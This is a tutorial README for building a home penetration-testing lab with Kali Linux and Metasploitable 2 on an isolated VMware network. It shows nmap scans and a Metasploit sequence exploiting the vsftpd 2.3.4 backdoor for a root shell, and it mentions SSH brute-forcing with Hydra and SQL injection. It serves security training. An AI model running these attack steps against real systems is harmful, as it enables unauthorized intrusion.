Cybersecurity Home Lab: Simulating Cyber Attacks with Kali Linux and Metasploitable2

Project Overview

This project is designed to simulate a vulnerable environment using virtual machines (VMs) for cybersecurity research and testing purposes. The lab consists of two VMs running on VMware:
- Attack Machine: Kali Linux (pre-built for penetration testing and ethical hacking)
- Target Machine: Metasploitable 2 (a vulnerable machine designed for exploitation)

This lab allows users to practice various penetration testing techniques and explore cybersecurity attack vectors in a controlled environment.

Project Goals
- Set up a cybersecurity homelab using Kali Linux and Metasploitable 2 on VMware.
- Simulate cyberattacks to identify and exploit vulnerabilities.
- Learn how to use penetration testing tools like Metasploit, Nmap, and others.
- Provide a secure and controlled environment for ethical hacking practices.

Table of Contents

Pre-requisites
Before you begin, ensure that you have the following:
- A computer with sufficient resources (8 GB RAM or more recommended).
- VMware Workstation or VMware Player installed on your machine.
- Pre-built virtual machine images of Kali Linux and Metasploitable 2.
- A basic understanding of networking and penetration testing.

Lab Setup

1. Installing VMware

If you don’t have VMware installed, download and install it from the [official website](https://www.vmware.com). Choose the appropriate version for your operating system.

1. Download VMware Workstation Player or VMware Workstation Pro.
2. Install the software following the on-screen instructions.

2. Downloading Kali Linux VM

1. Download the Kali Linux VM image from the [Kali Linux website](https://www.kali.org/get-kali/kali-virtual-machines).
2. Open VMware and import the Kali Linux VM.
   - Go to File > Open and locate the `.ovf` or `.ova` file for Kali Linux.
   - Follow the prompts to set up the VM.
3. Start the Kali Linux VM and ensure it is working properly.

3. Downloading Metasploitable 2 VM

1. Download the Metasploitable 2 image from the [official download page](https://sourceforge.net/projects/metasploitable/).
2. Open VMware and import the Metasploitable 2 VM.
   - Go to File > Open and locate the `.ovf` file for Metasploitable 2.
   - Follow the setup process to import the VM into VMware.
3. Start the Metasploitable 2 VM, and make sure it boots successfully.

Networking Configuration

To simulate attacks, both VMs must be configured to communicate with each other. Use a Host-only Network or NAT configuration to allow interaction between the Kali and Metasploitable VMs.

1. Host-Only Network Configuration
- Open VMware and go to Edit > Virtual Network Editor.
- Choose a Host-Only network adapter (e.g., VMnet1).
- Assign the Kali Linux VM and Metasploitable 2 VM to this network by selecting Network Adapter Settings under each VM's settings.

This isolates the VMs from the internet and ensures that your experiments don't affect external networks.

Using the Lab

1. Scanning the Target Machine

Once both VMs are running and connected to the same network, the first step in any penetration test is network reconnaissance. Use tools like Nmap from the Kali machine to scan the Metasploitable 2 machine.

```bash
nmap -A <Metasploitable-IP>
```

This command will perform a detailed scan, identifying open ports, services, and potential vulnerabilities.

2. Exploiting Vulnerabilities

Metasploitable 2 is full of intentionally vulnerable services. After identifying open ports, you can use Metasploit (included in Kali) to exploit vulnerabilities.

Exploiting vsftpd Backdoor

One of the common vulnerabilities is the vsftpd 2.3.4 backdoor.

1. Launch the Metasploit console on Kali by typing:
   ```bash
   msfconsole
   ```
2. Use the following commands to exploit the backdoor:
   ```bash
   use exploit/unix/ftp/vsftpd_234_backdoor
   set RHOST <Metasploitable-IP>
   run
   ```
   This will open a root shell on the Metasploitable machine if successful.

3. Sample Attack Scenarios

Here are some attack scenarios you can simulate:

- Brute Force SSH Login: Use a tool like `Hydra` to perform a brute-force attack on SSH service.
- Web Vulnerabilities: Metasploitable has vulnerable web applications. Use Nikto or OWASP ZAP to scan for and exploit web-based vulnerabilities.
- Database Exploitation: Metasploitable runs outdated MySQL services that can be exploited using SQL injection or MySQL-related vulnerabilities.

```bash
*nmap -p 3306 --script mysql-info <Metasploitable-IP>*
```

Conclusion

This cybersecurity homelab offers a safe and controlled environment to practice penetration testing techniques, explore network vulnerabilities, and understand various types of cyberattacks. By regularly experimenting with different attack vectors and tools, you can develop a deep understanding of how real-world cyberattacks are conducted and mitigated.

Additional Resources
- [Kali Linux Documentation](https://www.kali.org/docs/)
- [Metasploit Unleashed](https://www.offensive-security.com/metasploit-unleashed/)
- [Nmap Documentation](https://nmap.org/book/man.html)

Project Contributors
- Qamaruddin Mohammad